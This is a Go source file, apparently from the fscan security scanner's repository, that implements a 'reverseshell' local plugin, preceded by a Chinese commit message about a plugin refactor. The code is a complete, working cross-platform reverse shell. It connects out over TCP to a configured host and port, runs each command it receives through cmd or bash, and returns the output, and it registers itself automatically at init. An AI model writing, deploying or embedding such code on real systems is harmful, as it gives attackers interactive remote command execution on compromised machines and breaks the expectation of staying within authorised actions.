fscan/plugins/local_backup/reverseshell/plugin.go
ZacharyZcR 678d750c8a refactor: 重构插件架构,实现单文件插件系统
将复杂的三文件插件架构(connector/exploiter/plugin)重构为简化的单文件插件架构,
大幅减少代码重复和维护成本,提升插件开发效率。

主要改进:
• 将每个服务插件从3个文件简化为1个文件
• 删除过度设计的工厂模式、适配器模式等抽象层
• 消除plugins/services/、plugins/adapters/、plugins/base/复杂目录结构
• 实现直接的插件注册机制,提升系统简洁性
• 保持完全向后兼容,所有扫描功能和输出格式不变

重构统计:
• 删除文件:100+个复杂架构文件
• 新增文件:20个简化的单文件插件
• 代码减少:每个插件减少60-80%代码量
• 功能增强:所有插件包含完整扫描和利用功能

已重构插件: MySQL, SSH, Redis, MongoDB, PostgreSQL, MSSQL, Oracle,
Neo4j, Memcached, RabbitMQ, ActiveMQ, Cassandra, FTP, Kafka, LDAP,
Rsync, SMTP, SNMP, Telnet, VNC

验证通过: 新系统编译运行正常,所有插件功能验证通过
2025-08-25 23:57:00 +08:00

276 lines
7.0 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package reverseshell
import (
"bufio"
"context"
"fmt"
"io"
"net"
"os"
"os/exec"
"runtime"
"strconv"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// ReverseShellPlugin 反弹Shell插件 - 使用简化架构
type ReverseShellPlugin struct {
*local.BaseLocalPlugin
target string // 目标地址:端口
host string
port int
}
// NewReverseShellPlugin 创建反弹Shell插件 - 简化版本
func NewReverseShellPlugin() *ReverseShellPlugin {
// 从全局参数获取反弹Shell目标
target := common.ReverseShellTarget
if target == "" {
// 如果没有指定目标,使用默认值
target = "127.0.0.1:4444"
}
metadata := &base.PluginMetadata{
Name: "reverseshell",
Version: "1.0.0",
Author: "fscan-team",
Description: "纯Go原生反弹Shell本地插件支持Windows/Linux/macOS",
Category: "local",
Tags: []string{"local", "shell", "reverse", "crossplatform", "native"},
Protocols: []string{"local"},
}
// 解析目标地址
host, portStr, err := net.SplitHostPort(target)
if err != nil {
host = target
portStr = "4444" // 默认端口
}
port, err := strconv.Atoi(portStr)
if err != nil {
port = 4444 // 默认端口
}
plugin := &ReverseShellPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
target: target,
host: host,
port: port,
}
// 设置支持的平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// Initialize 初始化插件
func (p *ReverseShellPlugin) Initialize() error {
// 调用基类初始化
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行反弹Shell扫描 - 简化版本
func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("启动Go原生反弹Shell...")
// 启动反弹shell
common.LogBase(fmt.Sprintf("连接到目标 %s", p.target))
// 直接在当前goroutine中运行这样可以确保在设置ReverseShellActive后立即被主程序检测到
err := p.startNativeReverseShell(ctx, p.host, p.port)
if err != nil {
common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err))
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
result := &base.ScanResult{
Success: true,
Service: "ReverseShell",
Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", p.target, runtime.GOOS),
Extra: map[string]interface{}{
"target": p.target,
"platform": runtime.GOOS,
"implementation": "go_native",
"status": "completed",
},
}
return result, nil
}
// startNativeReverseShell 启动Go原生反弹Shell - 核心实现
func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int) error {
// 连接到目标
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", host, port))
if err != nil {
return fmt.Errorf("连接失败: %v", err)
}
defer conn.Close()
common.LogSuccess(fmt.Sprintf("反弹Shell已连接到 %s:%d", host, port))
// 设置反弹Shell为活跃状态告诉主程序保持运行
common.ReverseShellActive = true
defer func() {
// 确保退出时清除活跃状态
common.ReverseShellActive = false
}()
// 发送欢迎消息
welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH)
conn.Write([]byte(welcomeMsg))
conn.Write([]byte("Type 'exit' to quit\n"))
// 创建读取器
reader := bufio.NewReader(conn)
for {
// 检查上下文取消
select {
case <-ctx.Done():
conn.Write([]byte("Shell session terminated by context\n"))
return ctx.Err()
default:
}
// 发送提示符
prompt := fmt.Sprintf("%s> ", getCurrentDir())
conn.Write([]byte(prompt))
// 读取命令
cmdLine, err := reader.ReadString('\n')
if err != nil {
if err == io.EOF {
common.LogBase("反弹Shell连接关闭")
return nil
}
return fmt.Errorf("读取命令错误: %v", err)
}
// 清理命令
cmdLine = strings.TrimSpace(cmdLine)
if cmdLine == "" {
continue
}
// 检查退出命令
if cmdLine == "exit" {
conn.Write([]byte("Goodbye!\n"))
return nil
}
// 执行命令
result := p.executeCommand(cmdLine)
// 发送结果
conn.Write([]byte(result + "\n"))
}
}
// executeCommand 执行系统命令
func (p *ReverseShellPlugin) executeCommand(cmdLine string) string {
var cmd *exec.Cmd
// 根据操作系统选择命令解释器
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd", "/C", cmdLine)
case "linux", "darwin":
cmd = exec.Command("bash", "-c", cmdLine)
default:
return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS)
}
// 执行命令并获取输出
output, err := cmd.CombinedOutput()
if err != nil {
return fmt.Sprintf("错误: %v\n%s", err, string(output))
}
return string(output)
}
// getCurrentDir 获取当前目录
func getCurrentDir() string {
dir, err := os.Getwd()
if err != nil {
return "unknown"
}
return dir
}
// GetLocalData 获取反弹Shell本地数据
func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
// 获取系统信息
data["plugin_type"] = "reverseshell"
data["platform"] = runtime.GOOS
data["arch"] = runtime.GOARCH
data["target"] = p.target
data["implementation"] = "go_native"
if homeDir, err := os.UserHomeDir(); err == nil {
data["home_dir"] = homeDir
}
if workDir, err := os.Getwd(); err == nil {
data["work_dir"] = workDir
}
return data, nil
}
// GetInfo 获取插件信息
func (p *ReverseShellPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("Go原生反弹Shell插件\n")
info.WriteString(fmt.Sprintf("目标: %s\n", p.target))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 建立反弹Shell连接支持交互式命令执行\n")
info.WriteString("实现方式: 纯Go原生无外部依赖\n")
return info.String()
}
// RegisterReverseShellPlugin 注册反弹Shell插件
func RegisterReverseShellPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "reverseshell",
Version: "1.0.0",
Author: "fscan-team",
Description: "纯Go原生反弹Shell本地插件支持Windows/Linux/macOS",
Category: "local",
Tags: []string{"reverseshell", "local", "shell", "crossplatform", "native"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewReverseShellPlugin()
},
)
base.GlobalPluginRegistry.Register("reverseshell", factory)
}
// init 插件注册函数
func init() {
RegisterReverseShellPlugin()
}